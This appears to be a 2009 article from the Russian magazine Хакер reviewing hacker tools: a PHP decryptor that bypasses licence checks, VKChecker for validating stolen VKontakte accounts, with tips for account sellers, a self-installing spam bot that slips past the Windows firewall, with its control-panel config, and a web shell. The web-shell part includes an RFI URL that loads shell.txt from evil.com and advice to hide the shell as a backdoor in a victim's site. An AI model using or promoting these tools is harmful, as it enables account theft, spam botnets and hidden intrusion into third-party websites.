| Издательский дом ООО "Гейм Лэнд" | ЖУРНАЛ ХАКЕР #131, НОЯБРЬ 2009 г. |

X-tools. Программы для хакеров
MULTI PHP DECRYPTOR
- ОС: *NIX/WIN
- АВТОР: EUGEN
Очень часто мы сталкиваемся с зашифрованным сорцами какого-либо php-скрипта. Причем исходники нам просто жизненно необходимо увидеть в первозданном виде (например, узнать доступы к базе данных). Как тут поступить?
Если шифрование выполнялось с помощью Zend, то тут все понятно: идем в гугл, набираем что-то вроде «dezender download» и наслаждаемся расшифрованным кодом. А если крипт выполнялся при помощи обфускации и запутывания кода? Можно, конечно, вручную, строка за строкой сидеть и приводить сие непотребство в удобоваримый вид, потеряв при этом целый рабочий день, но мы поступим иначе.
Специально для тебя мы выкладываем «Мульти php дешифровщик» от Eugen. Итак, скрипт умеет расшифровывать следующие алгоритмы:
• GZIP+BASE64
• DEFLATE+BASE64 — Encoderov.net (r57, c99 и т.п.)
• BASE64
• Eugen — «10 ключей» + поддержка старого алгоритма с 1-м ключом
• KALLISTO (без расшифровки обфускации в последних версиях)
• CNS — CNCrypto (cnstats и т.п.)
• Php LockIT (с обходом лицензии и срока действия скрипта)
• SourceCop
Более того, успешно расшифровываются даже вложенные криптовки. Если закриптована часть скрипта, будет расшифрована только она.
Для примера рассмотрим способ дешифровки алгоритма CNCrypto.
1. Особенности самого алгоритма:
• Обфускация;
• Криптование кода дешифровки;
• Хранение кода в комментарии в этом же файле;
• При раскриптовке скрипт читает сам себя.
2. Закриптованный код выглядит так:
/*CNS<какие-то 6 цифр>код*/
В этом коде /*CNS, 6 цифр и */ следует отбросить; нам нужен только base64 код между ними. Дальше следует строка — ключ для расшифровки.
Генерируется он так:
$fuck = array();
for($i = 97; $i < 123; $i++) $fuck[] =
chr($i);
for($i = 65; $i < 91; $i++) $fuck[] =
chr($i);
$key = implode("",$fuck);
Читаем второй ключ из закриптованного кода. Это будут первые 52 символа, остальные же символы после них — и есть зашифрованный код. Расшифровать его можно так:
$decoded = base64_decode(strtr($enco
ded,$key,$to));
Как видно, сначала раскодируется base64, а потом символы 1-го ключа заменяются символами второго. Для запуска процесса дешифровки положи скрипт и, собственно, расшифровываемый файл в одну директорию. Далее в скрипте найди строки:
<?
// Закриптованный файл
$file = "1.php";
...
?>
И измени значение переменной $file на свое. Расшифрованный код запишется прямо в твой файл.
Если у тебя есть идеи по расшифровке алгоритмов, смело можешь адресовать их автору тулзы в топике forum.eugen.su/showthread.php?t=47.
VKCHECKER LITE 0.2
- ОС: WINDIWS 95/98/ME/2000/2003/XP/VISTA
- АВТОР: DX
Сколько уже написано разнообразных чекеров «ВКонтакта» — не перечесть! Вот и на этот раз представляем тебе очередную программу для работы с аккаунтами общеизвестной социальной сети — VKChecker Lite за авторством dx.
Функционал программы:
• написана на ассемблере (отсюда размер exe — 36.5 кб в незапакованном виде);
• простой чек аккаунтов на валид-невалид;
• чек аккаунтов с определением ID;
• поддержка сервиса антикапча;
• поддержка прокси, сокс5 (опционально и можно их не задавать);
• многопоточность;
• задание задержек для потоков;
• определение баланса антикапчи;
• отсылка жалоб о неправильно распознанных акках;
• возможность задать разделители для аккаунтов, прокси, результата;
• лог работы;
• возможность создавать подробный HTMLотчет, куда записываются логин, пароль, ID, количество друзей и голосов, рейтинг аккаунта;
• возможность записывать туда же список групп,
в которых пользователь имеет права администратора или модератора;
• сбор ID-приложений, которыми владеет человек;
• возможность сохранения плохих аккаунтов в отдельный файл;
• возможность сбора аккаунтов по критериям рейтинга/количества друзей/числа голосов, отбор нужных аккаунтов в отдельный список;
• чек аккаунтов и разбивка их на группы по количеству друзей;
• подробная статистика для собранных по критериям аккаунтов;
• сохранение и загрузка текущих настроек программы;
Возможности столь маленькой утилиты, написанной на ассемблере, впечатляют :). Пользоваться чекером не просто, а очень просто: вбивай в левое окошко список аккаунтов социальной сети (по умолчанию логин и пароль разделены двоеточием) и дави на кнопку «Старт». В окошке «Good» будут появляться отчеканные валидные учетки пользователей. Также советую разобраться с настройками и фичами проги: окошки «Опции», «Настройки критериев» и вкладка «Дополнительно» — здесь есть где разгуляться пытливому хакеру :).
И напоследок — небольшое пособие-пример от автора для тех, кто продает аккаунты «ВКонтакта», ориентируясь на число друзей:
1. Включаем проверку по критериям;
2. Ставим критерий «число друзей» больше, например, 10;
3. Ставим опцию установки чекера на паузу после сбора, например, 20000 друзей.
Теперь чекер будет приостановлен, и ты сможешь забрать начеканные аккаунты с суммой друзей 20000, потом обнуляй статистику, очищай список собранных аккаунтов и продолжай собирать следующую пачку аккаунтов с суммой друзей 20000.
Спам бот
- ОС: WINDIWS 95/98/ME/2000/2003/XP/VISTA ДЛЯ БОТА И БИЛДЕРА,
- *NIX/WIN ДЛЯ АДМИНКИ
- АВТОР: SLESH
Представляем твоему вниманию очередную программу, написанную на ассемблере — Спам бот от slesh'а. На диске ты найдешь архив с админкой бота, исходники бота FASM и исходники билдера на Delphi. Описывать, как внедрить бота в чужую систему — уже не моя задача, поэтому представляю тебе описание функционала и принципы действия бота.
Скомпилированный бот действует следующим образом:
1. Бот расшифровывается;
2. Бот получает адреса API-функций, которые он юзает;
3. Бот проверяет наличие того, что он уже запущен, и если так, то самовыключается;
4. Устанавливает себя в систему в папку шаблонов и прописывается в автозагрузке;
5. Выделяет память для своих нужд;
6. Прописывает себя в реестре для обхода встроенного в XP файрвола;
7. Стучится в админку;
8. Если получена команда ждать, ждет указанное время;
9. Если получено задание, то парсит его и запускает указанное количество потоков отправки письма;
10. Перед каждой отправкой письма обрабатывает макросы в нем;
11. Отсылает письма, пока они есть в задании;
12. Во время выполнения задания периодически стучит в админку с результатами отправки. Теперь о возможностях бота:
• обход встроенного в XP файрвола;
• криптовка (если юзать билдер);
• многопоточная отправка;
• поддержка макросов на уровне админки и бота;
• лог ошибок отправки;
• самоустановка в систему;
• возможность бана плохих ботов;
• шифрование трафа между ботом и админкой.
Для установки бота сначала необходимо сконфигурировать админку (файл config.php):
<?php
$db_host='localhost'; // хост с бд
$db_port=3306; // порт бд
$db_user='root'; // юзер бд
$db_pass='pass'; // пасс от бд
$db_name='sbot'; // имя базы в бд (нужно создать самому)
$admin_name=''; // имя пользователя для доступа к админке
$admin_pass=''; // пароль для доступа к админке
$TIME_LIM='00:01:00'; // (часы:минуты:секунды) если время последнего отстука больше данного, то считается, что бот ушел в офлайн
$max_thread=5; // число потоков для спама
$block='on'; // блокировка мертвых ботов
?>
Затем — настроить, собственно, бота и его билдер:
файл: bot.asm:
WAIT_TIME equ 40 — время в секундах
между отстуками
server_port equ 5000h — порт админки
файл: const.inc:
server_script db '/msb/task.
php?',0,0,0,0,0,0,0,0 — путь к админке
server_host db 'localhost',0,0,0,0,0,0,0,0,0,0,0,0,0 — host админки
my_sys_name db '\proga.exe',0,0,0,0,0,0,0,0,0,0 ; (слеш
обязателен!) — имя, с которым прога будет сидеть в системе
MemFileName db 'test123',0 — предотвращение повторного запуска
После этой нехитрой настройки тебе нужно будет:
1. Залить админку на свой сервер и на все скрипты и папки поставить права 666;
2. Войти в админку (index.php) и выбрать пункт меню — INSTALL;
3. Настроить бота на получение заданий. На этом настройка бота будет закончена, можно приступать к составлению спам-тасков).
Подробнее о макросах и прочем функционале админки бота читай на Античате: http://forum.antichat.ru/thread104291.html.
Magic Include Shell 3.3.3
Не могу не порадовать читателей z и своим релизом веб-шелла :). Итак, Magic Include Shell, как видно из названия, предназначен для работы в инклудах. Рассмотрим ситуации, когда понадобится такой шелл:
1. Имеем RFI, что-то вроде http://site.com/index.php?path=http://evil.com/shell.txt.
Что делать, если не работает safe mode, либо использование консольных команд по какойто причине не дает нужного эффекта? Очень просто! Инклудь мой шелл и наслаждайся полноценным файловым менеджером на удаленной системе, который не будет зависеть от внутренних путей и адреса сайта. Тут стоит отметить особенность скрипта: шелл откроется только по кейворду, который жестко прописан в его коде, то есть так: http://site.com/index.php?path=http://evil.com/shell.txt&keyword (дальше кейворд спрячется в пост-запрос и его будет невидно; кейворд можно сразу послать в пост).
2. Ты внутри сайта. Левые файлы заливать нельзя или палевно. Что делать?
Просто скопируй весь код шелла в какой-либо существующий файл на удаленной системе и наслаждайся скрытым бэкдором на сайте жертвы по адресу вроде: http://site.com/?keyword.
Из особенностей шелла:
• независимость от путей/адресов сайта (то есть инклуд вроде http://site.com/?keyword&foo1=bar1&foo2=bar2 пройдет без потери параметров foo1 и foo2);
• шелл открывается только после передачи ему заранее определенного тобой кейворда;
• basic-авторизация (на cgi/fastcgi автоматически отключается);
• все данные передаются в $_POST;
• файловый менеджер с отображением подробной информации о файлах;
• отображение основной информации о системе;
• php eval/command execution;
• загрузка множества файлов за раз на js;
• просмотр/редактирование/удаление файлов и директорий (удаление рекурсивно);
• можно спокойно скачивать файлы очень больших размеров (например, логи апача);
• zip/unzip файлов и директорий;
• разбивка листинга файлов и директорий на страницы;
• если шелл инклудится в существующий скрипт, тебе может пригодиться встроенная защита от взлома: отсекаются запросы по ключевым словам вроде eval, base64, union и т.д.
Все это великолепие весит всего 38,1 Кб. Теперь рассмотрим настройку шелла. Открывай скрипт и находи в его начале следующие строки:
<?php
...
$my_keyw = 'keyword'; //твой кейворд для доступа в шелл
$items_per_page = 50; //количество
файлов/директорий на одной странице шелла
$admin_name='admin'; //имя админа в basic-авторизации
$admin_pass='password'; //пароль
админа в basic-авторизации
...
?>
Все предложения и пожелания по скрипту направляй мне в асю :).
Содержание
|